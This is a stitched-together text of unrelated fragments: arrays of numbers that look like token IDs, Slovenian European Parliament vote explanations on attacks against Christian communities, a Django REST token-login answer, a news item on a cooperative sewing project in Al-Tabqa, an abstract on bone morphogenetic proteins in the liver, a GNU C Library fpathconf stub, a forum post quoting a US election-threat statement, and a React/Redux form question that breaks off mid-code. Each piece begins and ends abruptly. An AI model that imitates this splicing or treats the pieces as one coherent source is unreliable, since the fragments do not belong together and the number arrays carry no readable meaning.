5549, 1936, 5309, 513, 8625, 75, 1721, 74, 275, 5549, 7090, 249, 729, 20244, 24901, 33338, 75, 7326, 266, 5173, 877, 80, 9124, 22779, 465, 2198, 17551, 729, 15, 39194, 5711, 75, 2072, 268, 19216, 7090, 275, 43403, 463, 691, 3022, 1442, 266, 7090, 570, 268, 19216, 7090, 74, 1794, 43812, 2372, 74, 5549, 16086, 268, 462, 13511, 1751, 1182, 1182, 356, 302, 580, 77, 17551, 38239, 1888, 413, 18504, 706, 853, 465, 2198, 17551, 297, 15, 1503, 4611, 3300, 1289, 284, 19249, 1565, 86, 2248, 1808, 80, 15, 187, 2019, 22172, 353, 2061, 11924, 187, 37, 6597, 3300, 7687, 4213, 7090, 2369, 1289, 284, 19249, 20244, 18373, 351, 2399, 13332, 300, 6362, 33078, 36407, 7326, 7090, 507, 76, 23611, 1629, 484, 41752, 7373, 275, 1888, 76, 23611, 637, 75, 7326, 249, 7588, 15, 187, 52, 5367, 7326, 85, 22053, 5173, 23263, 26617, 17131, 6356, 268, 3385, 280, 275, 1888, 413, 18504, 706, 853, 2298, 66, 2372, 74, 1565, 293, 75, 8311, 465, 18986, 5549, 7326, 6356, 7687, 23047, 729, 1182, 2854, 23611, 1837, 9124, 580, 7588, 15, 473, 36899, 2369, 3300, 24901, 76, 316, 300, 10709, 7326, 7381, 8718, 484, 317, 32187, 1917, 570, 2485, 330, 532, 376, 13, 2063, 465, 727, 80, 4927, 5635, 1658, 66, 1182, 255, 23951, 258, 7090, 74, 13, 23263, 554, 3385, 5139, 330, 24277, 1837, 9124, 2623, 23263, 13409, 3737, 15, 6897, 8718, 484, 343, 266, 358, 330, 532, 579, 5139, 1670, 7090, 1758, 15733, 413, 87, 42015, 7090, 6736, 13, 465, 532, 74, 256, 14763, 47835, 594, 24901, 78, 8952, 7090, 29571, 13, 5549, 1766, 9124, 74, 7090, 8311, 16447, 1349, 594, 10709, 7326, 5985, 3273, 75, 11938, 638, 3456, 7090, 3093, 6429, 7326, 1173, 266, 5173, 362, 277, 32731, 268, 3385, 31792, 24645, 260, 9314, 87, 1240, 15, 187, 37, 6597, 594, 362, 425, 46035, 28074, 5549, 7326, 66, 18504, 706, 17457, 13, 1349, 246, 36460, 9982, 13511, 465, 7546, 275, 5549, 7090, 1758, 19888, 400, 77, 22289, 6362, 13, 25130, 1565, 293, 75, 5741, 5549, 4847, 307, 25476, 362, 433, 1439, 257, 7589, 23263, 26617, 76, 710, 258, 339, 15453, 28074, 13, 546, 518, 28074, 362, 339, 73, 2063, 1837, 9124, 41231, 13, 546, 518, 6356, 268, 3385, 280, 1240, 19888, 561, 76, 13, 1471, 536, 8306, 27520, 275, 43403, 9124, 7564, 74, 268, 3385, 74, 7090, 79, 28074, 15, 187, 43356, 4530, 15178, 83, 16077, 493, 5139, 27685, 2369, 268, 462, 493, 24130, 7326, 74, 2963, 20304, 362, 21721, 965, 7090, 24645, 1448, 6356, 18504, 1464, 13, 3405, 7326, 8311, 19422, 11282, 5549, 465, 2198, 75, 1351, 362, 444, 7311, 431, 86, 275, 8831, 13312, 362, 1182, 324, 43498, 6356, 28263, 24645, 1349, 594, 458, 45520, 79, 710, 75, 7326, 74, 425, 46035, 74, 24901, 5744, 74, 425, 46035, 28074, 13, 25130, 3371, 268, 729, 91, 287, 7090, 66, 4109, 263, 478, 358, 1629, 43792, 570, 9124, 1173, 15, 657, 9245, 362, 5635, 1658, 74, 2298, 13431, 7687, 4025, 74, 258, 7090, 74, 275, 372, 20304, 2369, 803, 21529, 9900, 74, 20244, 20244, 7326, 7090, 7067, 1888, 413, 18504, 706, 853, 15, 187, 2422, 17408, 80, 42745, 531, 187, 9379, 44370, 580, 24645, 19422, 324, 6356, 5549, 36407, 7326, 7090, 507, 413, 1629, 484, 79, 28074, 362, 444, 7311, 431, 86, 13, 32345, 27520, 13, 8831, 13312, 275, 13115, 86, 5139, 612, 33840, 7381, 803, 433, 22053, 5173, 8794, 75, 2369, 275, 8215, 5139, 281, 638, 1247, 17551, 5173, 27723, 287, 18373, 351, 8807, 4109, 396, 6399, 75, 7687, 91, 1208, 66, 638, 76, 1649, 3136, 2063, 296, 580, 40199, 20244, 1182, 328, 266, 5173, 1182, 796, 306, 275, 945, 41752, 2369, 2314, 20592, 15, 4051, 284, 19249, 3300, 20244, 37732, 1028, 32187, 258, 877, 80, 9124, 49386, 465, 2198, 17551, 729, 362, 1182, 306, 9877, 256, 18504, 706, 19095, 2336, 80, 478, 81, 3149, 74, 13, 618, 75, 1821, 303, 13, 4204, 396, 19888, 267, 256, 250, 7090, 10441, 43208, 1182, 19422, 11282, 5549, 36407, 7326, 7090, 266, 296, 5711, 2963, 362, 6017, 256, 14763, 86, 13, 2235, 716, 73, 19422, 324, 6356, 1349, 1888, 7381, 13332, 300, 5173, 1499, 86, 9124, 74, 2314, 74, 7090, 79, 303, 9557, 257, 297, 13, 1182, 29365, 266, 7589, 391, 41376, 275, 19422, 433, 4530, 13, 7360, 2059, 73, 22053, 7589, 594, 87, 376, 7326, 85, 6156, 362, 43403, 9124, 4193, 275, 1218, 12408, 17551, 7589, 43403, 9124, 67, 1751, 1484, 12289, 306, 362, 1837, 9124, 580, 1240, 13, 465, 28133, 396, 19422, 11282, 4370, 1432, 23246, 15, 1503, 4611, 3300, 638, 3225, 7090, 266, 13, 4204, 2298, 66, 5635, 1658, 66, 13, 25130, 396, 1182, 580, 91, 8895, 20244, 23263, 26617, 76, 710, 268, 3385, 547, 275, 1837, 9124, 580, 35687, 507, 413, 4109, 1471, 536, 83, 8657, 7090, 570, 18504, 34549, 7326, 7090, 460, 13, 7687, 4213, 7090, 2369, 18373, 351, 15208, 716, 13332, 300, 570, 19422, 796, 13, 25130, 1721, 1886, 23246, 256, 14763, 20244, 4806, 1059, 6362, 362, 638, 442, 7261, 493, 275, 21721, 1559, 27497, 23246, 5497, 9124, 79, 28074, 20244, 1129, 76, 503, 662, 74, 10756, 13, 1213, 16077, 493, 13, 391, 505, 275, 43403, 9124, 7564, 80, 787, 356, 493, 266, 5173, 15, 187, 35848, 3783, 367, 3682, 1479, 6836, 276, 187, 87, 268, 261, 8311, 691, 965, 5985, 15, 428, 313, 3887, 10, 4051, 284, 19249, 3300, 20244, 37732, 1028, 32187, 258, 877, 80, 9124, 49386, 465, 2198, 17551, 729, 362, 1182, 306, 9877, 256, 18504, 706, 19095, 2336, 80, 478, 81, 3149, 74, 15, 8229, 484, 2072, 37732, 1028, 26092, 2963, 19422, 324, 86, 5549, 2336, 79, 2804, 1129, 691 ]	okim številom napadov na verske skupnosti pozivam, da povečajo svoja prizadevanja za zagotavljanje zanesljivega in učinkovitega varstva verskih skupnosti v njihovih državah in da tamkajšnjim članom verskih skupnosti zagotovijo osebno varnost in telesno nedotakljivost tako, da upoštevajo obveznosti, h katerim so se že zavezali na mednarodnem prizorišču. Kyriakos Mavronikolas Kot socialisti podpiramo človekove pravice kot enega od temeljev naše politike. Verske pravice so nedeljiv del te politike, zato se zavzemamo za njihovo krepitev. Dogodki ob božiču, ko so okupacijske sile prekinile mašo v kraju Rizokarpaso na okupiranem Cipru, so prava sramota. Turčija in njena okupacijska vojska izvajata na delu Cipra pod turško okupacijo državni terorizem in ogrožata pravoslavne kristjane, še zlasti peščico Ciprčanov grškega rodu, ki so še ostali tam. Jean-Luc Mélenchon Pojmovanje sekularizma v Republiki Franciji zajema ločitev cerkve od države. Jamči svobodo vesti in izražanja vere. Versko nasilje izvira iz dogmatizma, ki je lasten vsem veram. Zato moramo ljudi ščititi pred nasiljem, ki ga poganjajo vere. Kljub posrednemu sklicevanju na zločinsko teorijo "spopada civilizacij" in na nekritične trditve katoliške cerkve pomeni to besedilo zahtevo po spoštovanju verske svobode po vsem svetu in po zaščiti verujočih posameznikov pred fanatizmom. Glasoval bom zanj, iz sočutja in iz prepričanja. Nuno Melo Energično moramo obsoditi vse napade na krščanske skupnosti po svetu, še zlasti v Afriki, Aziji in na Bližnjem vzhodu. Širjenje teh izpadov nestrpnosti, preganjanja in nasilja nad skupnostmi je zaskrbljujoče. Oblasti v teh državah se po najboljših močeh trudijo odkriti storilce in odgovorne za napade na krščanske skupnosti. Odgovorne za te napade in za druga nasilna dejanja proti kristjanom je treba predati roki pravice in jih pravično obsoditi. Andreas Mölzer v pisni obliki. - (DE) Zavzemanje Evropske unije za versko svobodo samo z besedami ni dovolj. Še zlasti v islamskih državah velja, da je kristjane povsem dopustno preganjati in pogosto celo moriti. Ob takih grozovitih razmerah pa EU, vzvišena skupnost vrednot, največkrat le vljudno molči. Človek navsezadnje dobi vtis, da politični eliti v Bruslju, ki se ne meni za krščanske korenine Evrope, ni mar niti za usodo kristjanov v islamskih državah. Namesto da bi zahtevali, naj se preganjanje kristjanov konča, se zatekamo v politično korektnost in se raje posvečamo blagru muslimanov, ki živijo v EU in uživajo versko svobodo, o kakršni lahko večina kristjanov v islamskem svetu le sanja. V prihodnje mora biti trpljenje kristjanov izrecen dejavnik pri urejanju zunanjepolitičnih odnosov EU z islamskimi državami. EU ima na voljo dovolj poti in načinov za izboljšanje položaja kristjanov. Razvojna pomoč in druge oblike finančne pomoči bi morale biti na primer pogojene z zagotavljanjem verske svobode kristjanom. Zato sem glasoval temu primerno. Claudio Morganti Danes sem odločno glasoval za obsodbo nasilja nad krščanskimi skupnostmi in verskimi manjšinami. Spoštovanje človekovih pravic in verske svobode mora biti temeljni kamen naših odnosov z drugimi državami. Osebno sem izkusil turško okupacijo severnega Cipra, pred katero si Evropa zatiska oči, čeprav je Ciper država članica. Na okupiranem Cipru je večina cerkev uničena, kipi svetnikov so izmaličeni, na božični dan pa so turški vojaki preprečili maševanje v dveh pravoslavnih cerkvah. Danes so v nevarnosti naša svoboda, pa tudi obstoj kulture in načina življenja, ki temeljita na absolutnem vrednotenju človekove osebnosti, enakosti vseh pred državo, enakih pravicah žensk, demokraciji in družbeni pravičnosti. Verska nestrpnost je vedno pogostejši pojav v različnih delih sveta, strašni napadi na kristjane v Egiptu in Iraku v zadnjih tednih pa so le najnovejši nevarni izrazi nevarnosti, ki jo povzroča terorizem skrajnežev. Vsi v Evropi moramo odpreti oči in dejavno poskrbeti za zaščito verske svobode. Alfredo Pallone Ob nedavnih napadih na krščanske skupnosti v Egiptu, Nigeriji, Iraku in Pakistanu je evropsko posredovanje nujno in EU je to preganjanje ostro obsodila ter se nanj odzvala prek visoke predstavnice za zunanje zadeve in varnostno politiko. Glasoval sem za resolucijo o položaju kristjanov v zvezi s svobodo veroizpovedi, saj menim, da se žal srečujemo z napadi na krščanstvo po vsem svetu, pri teh napadih pa versko nasilje služi političnim namenom, zaviranju rasti in napredka, podpihovanju sovraštva v družbi in rahljanju družbene ureditve v državah, kjer se napadi dogajajo. Zato sem prepričan, da mora Evropa, ki se zavzema za človekove pravice in državljanske ter demokratične svoboščine, odločno obsoditi te nasilne napade, ki potiskajo svet za stoletja v preteklost in razblinjajo možnosti za medkulturni dialog, strpnost, rast in družbeno blagostanje. Georgios Papanikolaou v pisni obliki. - (EL) Glasoval sem za resolucijo o položaju kristjanov v zvezi s svobodo veroizpovedi. Skupna resolucija po napadu na vernike med ob
[ 2217, 13, 7293, 327, 534, 19676, 1332, 368, 971, 281, 897, 13, 10669, 19676, 310, 751, 27, 187, 2948, 24896, 6849, 27, 187, 4064, 1551, 64, 13149, 15, 1920, 384, 5097, 1395, 6849, 187, 187, 7461, 4853, 247, 9688, 751, 27, 187, 6434, 9, 83, 46628, 20348, 27781, 1383, 6849, 15, 706, 14721, 64, 14399, 64, 13763, 10, 187, 187, 37411, 368, 1849, 6283, 4561, 21761, 327, 861, 598, 15, 50276, 1552, 8692, 310, 512, 275, 253, 19676, 2593, 273, 253, 10710, 39, 27586, 15, 187, 2042, 368, 1472, 21629, 1227, 32139, 342, 4384, 3988, 13, 5046, 41747, 14, 1120, 14, 14399, 390, 247, 2074, 15191, 310, 253, 1039, 281, 564, 323, 368, 15, 535, 30985, 598, 253, 1273, 2199, 273, 2434, 7105, 2419, 281, 13329, 20549, 187, 187, 2422, 14, 10297, 31569, 64, 3063, 13, 253, 27293, 2419, 275, 253, 5054, 9353, 13, 27312, 281, 253, 5079, 5286, 273, 1219, 14, 10297, 31569, 13, 873, 598, 247, 747, 2199, 281, 13329, 253, 20549, 13, 352, 369, 7429, 313, 38, 484, 6285, 684, 16901, 582, 835, 253, 15572, 273, 253, 5079, 13500, 273, 1219, 14, 10297, 31569, 665, 789, 275, 5054, 1673, 11612, 253, 5909, 673, 15, 187, 187, 6436, 13, 253, 2199, 2908, 1133, 11072, 13, 36787, 13, 44383, 27023, 13, 7968, 285, 40890, 15, 187, 187, 10457, 253, 5909, 16730, 13, 690, 1160, 6519, 13, 581, 273, 731, 369, 253, 820, 14, 21689, 273, 253, 5054, 9353, 313, 34, 35249, 1219, 14, 52, 335, 25884, 10, 835, 344, 31637, 326, 253, 4736, 273, 8109, 824, 6493, 310, 281, 8416, 253, 20549, 13, 6684, 253, 5054, 4112, 273, 253, 2919, 285, 4933, 7445, 4839, 281, 1329, 253, 19303, 5697, 27576, 275, 1340, 281, 8162, 275, 5948, 2440, 15, 187, 187, 1147, 4409, 29570, 326, 253, 1180, 273, 35029, 273, 436, 2199, 403, 3435, 2255, 285, 374, 1821, 13, 1223, 1903, 36787, 10679, 403, 4704, 323, 789, 13, 835, 1016, 3416, 588, 452, 697, 1211, 36787, 13, 44383, 2987, 2866, 395, 643, 1133, 43021, 15, 187, 187, 6436, 13, 253, 27293, 2419, 5907, 752, 310, 3058, 281, 8027, 253, 2199, 326, 697, 12851, 14125, 281, 697, 5820, 13, 347, 3517, 347, 597, 608, 6, 273, 11528, 13, 352, 588, 320, 908, 281, 1329, 643, 6493, 15, 8417, 3299, 285, 6728, 27, 625, 3533, 685, 9172, 15, 187, 35, 531, 6695, 15716, 4324, 313, 8417, 3724, 10, 5663, 281, 253, 18785, 14, 5346, 2221, 11807, 285, 497, 806, 6888, 347, 13741, 5961, 25641, 21790, 323, 616, 3745, 281, 10808, 990, 9217, 1544, 5961, 4702, 13, 45269, 5961, 4702, 285, 17681, 8706, 15, 329, 638, 358, 14622, 2554, 273, 37985, 7601, 275, 16743, 1453, 273, 894, 1511, 17776, 13, 9827, 285, 1963, 8258, 310, 671, 973, 4232, 15, 3010, 4102, 13, 247, 2554, 323, 15334, 3724, 275, 6782, 4408, 25641, 556, 3053, 1146, 4950, 15, 3308, 13, 747, 2175, 921, 326, 15334, 3724, 14368, 1142, 7842, 4870, 824, 347, 9489, 13, 10596, 13, 9827, 285, 10346, 275, 1142, 7944, 285, 15384, 15, 1284, 247, 9936, 13, 7915, 11973, 273, 37985, 2425, 476, 452, 18977, 9099, 13, 285, 627, 310, 17808, 1941, 323, 253, 10171, 273, 15334, 3724, 275, 1027, 1966, 6578, 15, 496, 436, 2278, 13, 359, 452, 7106, 327, 10405, 3006, 253, 1246, 3640, 327, 253, 17200, 273, 15334, 3724, 275, 6728, 32337, 285, 42405, 13, 432, 253, 973, 14, 35477, 2554, 275, 6728, 2440, 281, 253, 14149, 7680, 281, 253, 1159, 285, 12909, 273, 253, 6782, 6728, 15, 3900, 642, 24626, 1646, 281, 6054, 670, 253, 10545, 4712, 273, 15334, 3724, 327, 10761, 9130, 275, 253, 6728, 13, 2442, 354, 14, 285, 3270, 14, 36240, 41508, 285, 37486, 280, 5231, 588, 2779, 320, 247, 2647, 273, 8881, 1309, 3551, 1107, 15, 22729, 1242, 13, 253, 789, 1060, 3559, 3400, 253, 3720, 281, 1908, 15334, 3724, 347, 2442, 8571, 273, 7268, 275, 6728, 6578, 15, 3122, 8283, 313, 36, 10, 10226, 13, 8878, 13, 8441, 13, 8210, 7648, 9107, 6807, 13, 3690, 15, 187, 50275, 1552, 1873, 310, 629, 273, 253, 11963, 330, 11397, 15, 535, 50275, 510, 11963, 330, 11397, 310, 1959, 3694, 28, 368, 476, 25529, 352, 285, 16, 263, 187, 50275, 2307, 1419, 352, 762, 253, 2426, 273, 253, 11963, 32425, 4214, 5259, 187, 50275, 17736, 347, 3863, 407, 253, 7648, 9107, 6807, 28, 2057, 187, 50275, 4149, 374, 15, 18, 273, 253, 4637, 13, 390, 313, 255, 634, 4500, 10, 667, 1996, 2715, 15, 535, 50275, 510, 11963, 330, 11397, 310, 5939, 275, 253, 3524, 326, 352, 588, 320, 4217, 13, 187, 50275, 2858, 15002, 9103, 23181, 28, 1293, 1014, 253, 10466, 17529, 273, 187, 50275, 38097, 20386, 390, 20524, 6651, 329, 20383, 20103, 15, 50276, 5035, 253, 11963, 187, 50275, 28274, 254, 4214, 5259, 4637, 323, 625, 4278, 15, 535, 50275, 1394, 943, 452, 2959, 247, 3491, 273, 253, 11963, 32425, 4214, 5259, 187, 50275, 17736, 2112, 342, 253, 11963, 330, 11397, 28, 604, 417, 13, 3630, 281, 253, 7648, 187, 50275, 31495, 6807, 13, 3690, 904, 8978, 17658, 13470, 13, 32261, 24792, 13, 9693, 13, 6908, 187, 50275, 2640, 10768, 14, 1012, 2922, 5106, 15, 50276, 8480, 187, 187, 4, 3709, 654, 39386, 15, 73, 31, 187, 4, 3709, 654, 8400, 1545, 15, 73, 31, 187, 4, 3709, 654, 328, 382, 69, 15, 73, 31, 535, 187, 3122, 5057, 1873, 14, 6160, 1491, 670, 30047, 21932, 15, 50276, 8480, 187, 5056, 540, 187, 876, 71, 3967, 8259, 313, 9194, 13, 1416, 10, 187, 50273, 565, 29439, 28, 187, 50273, 565, 1416, 28, 187, 92, 187, 50276, 338, 313, 9194, 654, 470, 10, 187, 50274, 92, 187, 50272, 876, 1178, 64, 39386, 313, 22917, 2350, 39, 558, 187, 50272, 2309, 428, 18, 28, 187, 50274, 94, 535, 50276, 16065, 313, 1590, 10, 187, 50274, 92, 187, 50274, 6986, 27, 187, 50272, 876, 1178, 64, 39386, 313, 37213, 558, 187, 50272, 2309, 428, 18, 28, 535, 50274, 5045, 795, 5077, 64, 26679, 64, 11779, 27, 187, 50274, 5045, 795, 5077, 64, 11779, 64, 40555, 1139, 27, 187, 50274, 5045, 795, 5077, 64, 11779, 64, 35446, 27, 187, 50274, 5045, 795, 5077, 64, 9536, 64, 11779, 27, 187, 50274, 5045, 795, 5077, 64, 18999, 64, 11779, 27, 187, 50274, 5045, 795, 5077, 64, 49, 36066, 64, 36675, 27, 187, 50274, 5045, 795, 5077, 64, 42937, 64, 11779, 36675, 27, 187, 50274, 5045, 795, 5077, 64, 2775, 15122, 64, 46489, 29237, 1703, 27, 187, 50274, 5045, 795, 5077, 64, 7716, 64, 3125, 34893, 27, 187, 50274, 5045, 795, 5077, 64, 8528, 1830, 8908, 27, 187, 50272, 7054, 28, 187, 50274, 94, 535, 50276, 876, 1178, 64, 39386, 313, 1400, 2697, 6328, 558, 187, 50276, 2309, 428, 18, 28, 187, 94, 187, 187, 20881, 64, 29913, 36238, 71, 3967, 8259, 13, 269, 3967, 8259, 10, 187, 187, 296, 538, 64, 28207, 313, 71, 3967, 8259, 10, 187, 4, 3709, 654, 296, 538, 14, 7784, 15, 73, 31, 187, 187, 9431, 4061, 9966, 7252, 37144, 1758, 27, 29686, 46371, 17251, 323, 253, 2448, 5259, 428, 347, 3878, 78, 4071, 187, 3614, 1358, 2700, 15, 69, 8311, 15, 12312, 16, 4663, 15, 5581, 16, 13608, 4461, 16, 7100, 14, 49399, 16, 4835, 16, 19, 15270, 14, 25322, 14, 1615, 14, 9068, 1026, 14, 39874, 14, 88, 3370, 312, 14, 1173, 266, 1758, 14, 24508, 14, 26039, 14, 11183, 14, 1542, 14, 783, 14, 40463, 266, 14, 4387, 187, 4738, 187, 284, 3878, 78, 4071, 187, 6300, 253, 26432, 574, 479, 8392, 275, 15, 26013, 871, 672, 1852, 28968, 22, 15323, 32, 309, 457, 78, 4854, 187, 28489, 347, 3517, 347, 7948, 15, 9535, 272, 2069, 13, 281, 320, 2119, 15, 187, 187, 31, 1623, 4163, 2164, 13, 9169, 13, 309, 6808, 247, 3908, 281, 253, 2448, 1345, 5277, 271, 187, 31, 440, 39651, 18389, 273, 5639, 14207, 281, 253, 9169, 6132, 285, 9159, 187, 31, 5044, 5018, 281, 29966, 690, 273, 841, 14207, 15, 2058, 326, 673, 13, 309, 35696, 326, 187, 31, 253, 530, 15, 52, 15, 19256, 12244, 313, 1864, 10, 651, 4035, 281, 5731, 253, 2448, 187, 31, 1345, 285, 643, 2234, 28022, 327, 253, 25537, 6132, 4322, 13016, 13, 187, 31, 1223, 671, 4999, 4297, 13218, 776, 9260, 4973, 285, 3082, 15, 187, 187, 31, 11056, 13, 359, 403, 2403, 1175, 327, 326, 9023, 407, 9628, 3081, 1491, 187, 31, 342, 253, 1345, 327, 253, 21546, 285, 4712, 273, 776, 18539, 3927, 342, 187, 31, 1675, 281, 253, 9169, 6132, 15, 831, 1491, 310, 1146, 4439, 323, 253, 187, 31, 4096, 273, 1805, 36689, 7108, 594, 597, 476, 1132, 247, 4619, 2554, 275, 187, 31, 4999, 4297, 13218, 776, 6132, 15, 23195, 310, 253, 6323, 1345, 5731, 27, 535, 50, 27, 187, 187, 2347, 281, 755, 941, 432, 2380, 15, 8456, 285, 1509, 326, 281, 4445, 32, 187, 187, 42, 717, 1663, 747, 281, 23782, 285, 4410, 2310, 15, 309, 452, 3562, 436, 830, 187, 605, 4666, 11911, 187, 2948, 23782, 13, 551, 27740, 748, 432, 686, 22312, 5618, 187, 2948, 551, 7327, 13, 1660, 89, 5232, 13, 4974, 2230, 4756, 748, 432, 686, 433, 2310, 14, 630, 5618, 187, 187, 605, 2840, 11911, 187, 2948, 23370, 6825, 432, 686, 4598, 433, 2310, 16, 14825, 16, 6682, 6825, 84, 5618, 187, 187, 3474, 8600, 6180, 426, 35236, 1511, 13, 5203, 13, 3280, 13, 11419, 27, 551, 14435, 13, 2228, 209, 12104, 3001, 313, 187, 50274, 29, 2154, 32181, 568, 5423, 14, 736, 1138, 187, 50272, 29, 1288, 4725, 187, 50272, 29, 1968, 38958, 1968, 28379, 1968, 31, 187, 50272, 29, 1288, 4725, 187, 50272, 29, 5423, 551, 1051, 5423, 94, 1511, 11787, 1511, 748, 4357, 187, 50272, 92, 14435, 3857, 2228, 3857, 187, 50271, 29, 2551, 32181, 568, 3775, 1138, 92, 2228, 748, 870, 2551, 31, 94, 187, 50274, 870, 2154, 31, 187, 50276, 10, 187, 187, 2437, 27036, 5232, 8725, 27740, 551, 187, 50276, 36073, 9, 21390, 910, 187, 50274, 12185, 9, 21390, 10, 535, 50274, 2520, 15, 3409, 426, 551, 187, 50272, 12025, 27, 29278, 187, 50272, 21280, 27, 29278, 187, 50272, 3409, 27, 15078, 187, 50274, 94, 187, 50276, 94, 535, 50276, 13393, 2374, 13086, 426, 2362, 3001, 551, 187, 50275, 2520, 15, 1178, 5443, 7506, 187, 50273, 60, 8045, 15, 7831, 15, 1590, 5218, 2362, 15, 7831, 15, 2877, 187, 50275, 9897, 187, 748, 535, 50276, 21399, 426, 35236, 2953, 5473, 1383, 2846, 5473, 1383, 1375, 5473, 8, 2311, 3001, 551, 187, 50274, 605, 9667, 15, 2808, 37428, 3409, 27, 7224, 2520, 15, 3409, 15, 12025, 94, 27362, 187, 50274, 1059, 2228, 426, 25425, 187, 50274, 1059, 310, 4756, 426, 3221, 28, 535, 50274, 338, 313, 12025, 15, 24716, 1082, 11013, 45381, 551, 187, 50272, 3775, 15, 12025, 426, 686, 28463, 5618, 187, 50272, 261, 4756, 426, 2032, 28, 187, 50274, 94, 535, 50274, 338, 313, 21280, 15, 24716, 1082, 11013, 45381, 551, 187, 50272, 3775, 15, 21280, 426, 686, 28463, 5618, 187, 50272, 261, 4756, 426, 2032, 28, 187, 50274, 94, 535, 50274, 338, 313, 3409, 15, 24716, 1082, 11013, 45381, 551, 187, 50272, 3775, 15, 3409, 426, 686, 28463, 5618, 187, 50272, 261, 4756, 426, 2032, 28, 187, 50274, 94, 535, 50274, 338, 313, 261, 4756, 10, 551, 187, 50272, 22408, 747, 4974, 2230, 4756, 9, 3775, 558, 187, 50274, 94, 2010, 551, 187, 50272, 22452, 15, 2808, 9, 2520, 15, 21390, 10, 187, 50272, 6682, 6825, 15, 5996, 37428, 16, 8716, 11976, 436, 15, 3409, 10, 187, 50272, 22452, 15, 2808, 9, 2520, 15, 21390, 10, 187, 50272, 2520, 15, 1178, 5443, 7506, 2953, 27, 29278, 2846, 27, 29278, 1375, 27, 15078, 2311, 187, 50274, 94, 187, 50276, 94, 535, 50276, 12574, 1082, 551, 187, 50274, 2309, 313, 187, 50272, 29, 630, 327, 38403, 11787, 436, 15, 21390, 15, 13393, 38403, 9, 2520, 15, 21399, 10, 748, 31, 187, 50270, 29, 6180, 1416, 568, 12025, 3, 5203, 5473, 12236, 27, 686, 4445, 11787, 12574, 6180, 94, 1511, 568, 1156, 3, 327, 13086, 11787, 2520, 15, 13393, 2374, 13086, 94, 4725, 187, 50270, 29, 6180, 1416, 568, 21280, 3, 5203, 5473, 21093, 27, 686, 4445, 11787, 12574, 6180, 94, 1511, 568, 1156, 3, 327, 13086, 11787, 2520, 15, 13393, 2374, 13086, 94, 4357, 187, 50270, 29, 6180, 1416, 568, 3409, 3, 5203, 5473, 5443, 27, 686, 4445, 11787, 12574, 6180, 94, 1511, 568, 1156, 3, 327, 13086, 11787, 2520, 15, 13393 ]	enough, depending on which authentication method you want to use, token authentication is like: import auth views: from rest_framework.authtoken import views then define a url like: url(r'^login/$', views.obtain_auth_token) assuming you've properly generated tokens on sign up. This info is all in the authentication section of the DRF docs. If you're newer / unfamiliar with web security, maybe django-rest-auth or a similar plugin is the way to go for you. Setting up the second project of Cooperative house to encounter unemployment Al-Tabqa_ today, the cooperative house in the economic committee, affiliated to the civil administration of Al-Tabqa, set up a new project to encounter the unemployment, it was entitled (Euphrates ladies), where the representatives of the civil Administration of Al-Tabqa who work in economic field attended the opening time. However, the project included hand craft, sewing, textile yarn, pictures and decoration. During the opening ceremony, some made speech, one of them was the co-chair of the economic committee (Ahmad Al-Suliman) where he clarified that the goal of supporting such projects is to finish the unemployment, developing the economic situation of the region and giving ideal chance to support the productive ideas financially in order to contribute in society development. It worth mentioning that the number of beneficiaries of this project are 27 women and 2 men, while 11 sewing machines are ready for work, where each woman will have its own sewing, textile works…and other hand crafts. However, the cooperative house offered what is needed to launch the project that its ownership belongs to its workers, as soon as they 5% of profit, it will be used to support other projects.BMPS and liver: more questions than answers. Bone morphogenetic proteins (BMPs) belong to the TGF-β superfamily and were first discovered as potent bone homeostasis regulators for their ability to induce endochondral bone formation, ectopic bone formation and fracture repair. A preeminent role of BMP signaling in developmental control of cell type specification, differentiation and organogenesis is also well established. More recently, a role for BMPs in adult tissue homeostasis has started being revealed. Thus, new studies show that BMPs regulate many cellular processes such as proliferation, apoptosis, differentiation and migration in many tissues and organs. As a consequence, dysregulation of BMP activity can have pathological consequences, and there is mounting evidence for the involvement of BMPs in different human diseases. In this review, we have focused on summarizing the present knowledge on the relevance of BMPs in liver physiology and pathophysiology, from the well-recognized role in liver development to the emerging contribution to the function and dysfunction of the adult liver. While no doubts seem to rise about the regulatory activities of BMPs on metabolic pathways in the liver, potential pro- and anti-fibrogenic and tumorigenic actions will likely be a matter of debate during coming years. Collectively, the work here presented provides the basis to consider BMPs as potential targets of intervention in liver diseases./* Copyright (C) 1991, 1995, 1996, 1997 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA. / #include <errno.h> #include <stddef.h> #include <unistd.h> / Get file-specific information about descriptor FD. */ long int __fpathconf (fd, name) int fd; int name; { if (fd < 0) { __set_errno (EBADF); return -1; } switch (name) { default: __set_errno (EINVAL); return -1; case _PC_LINK_MAX: case _PC_MAX_CANON: case _PC_MAX_INPUT: case _PC_NAME_MAX: case _PC_PATH_MAX: case _PC_PIPE_BUF: case _PC_SOCK_MAXBUF: case _PC_CHOWN_RESTRICTED: case _PC_NO_TRUNC: case _PC_VDISABLE: break; } __set_errno (ENOSYS); return -1; } weak_alias (__fpathconf, fpathconf) stub_warning (fpathconf) #include <stub-tag.h> NCSC Director William Evanina: Election Threat Update for the American Public - aspenmayer https://www.dni.gov/index.php/newsroom/press-releases/item/2139-statement-by-ncsc-director-william-evanina-election-threat-update-for-the-american-public ====== aspenmayer Just the intro had me drawn in. Anyone know when #Volume5 drops? I’m hearing maybe as soon as Tuesday. Interesting times, to be sure. > On July 24, 2020, I issued a statement to the American public providing an > unclassified overview of foreign threats to the 2020 election and offering > basic steps to mitigate some of these threats. At that time, I pledged that > the U.S. Intelligence Community (IC) would continue to update the American > public and other key stakeholders on the evolving election threat landscape, > while also safeguarding our intelligence sources and methods. > Today, we are making good on that promise by sharing additional information > with the public on the intentions and activities of our adversaries with > respect to the 2020 election. This information is being released for the > purpose of better informing Americans so they can play a critical role in > safeguarding our election. Below is the latest public update: Q: How to get data from response.json and pass that to component? I am really new to React and Redux. I have created this form // node modules import React, { Component } from'react'; import { Field, reduxForm, SubmissionError } from'redux-form'; // custom modules import apiRequest from '../../redux/modules/apiRequests'; const renderField = ({ type, label, input, meta: { touched, error }}) => ( <div className="input-row"> <br /> <label>{label}</label> <br /> <input {...input} type={ type }/> { touched && error && <span className="error">{ error }</span>} </div> ) class LocationForm extends Component { 